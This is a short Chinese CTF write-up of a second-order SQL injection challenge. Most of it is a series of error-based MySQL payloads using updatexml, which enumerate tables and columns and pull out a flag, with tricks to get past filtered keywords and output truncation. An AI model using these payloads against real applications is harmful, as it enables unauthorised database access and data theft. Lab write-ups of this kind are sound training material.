打开发现有一个注册登录界面
注册界面fuzz试试
发现过滤了很多字符
随便注册一个登录后,发现有修改密码功能。
注册了一个带有"
的用户,修改密码发现报错,因此存在二次注入
猜测sql语句 select * from user where username=" " and pwd=' '
or
被过滤,可以使用||
。这里使用报错注入构造payload
爆数据库名
username=1"||updatexml(1,concat(0x7e,(select(database())),0x7e),3)#
爆表名
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('web_sqli')),0x7e),3))#
这里得到三个表,先看看flag表
爆列名
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=('flag')),0x7e),3))#
得到列名只有flag,爆数据
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),3))#
欺骗,去看看别的表把
爆列名
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=('users')),0x7e),3))#
似乎这里有真flag
爆数据
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)),0x7e),3))#
似乎没显示全???
我觉得这里是here
爆数据
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),3))#
太恶心了,我亲爱的flag去哪了。
学习到mysql支持用 REGEXP
操作符进行正则表达式检索
找一下以f开头的吧
username=1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),3))#
没显示全,left
和right
好像被过滤了,这里使用reverse
username=1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),3))#
逆序拼接后得到flag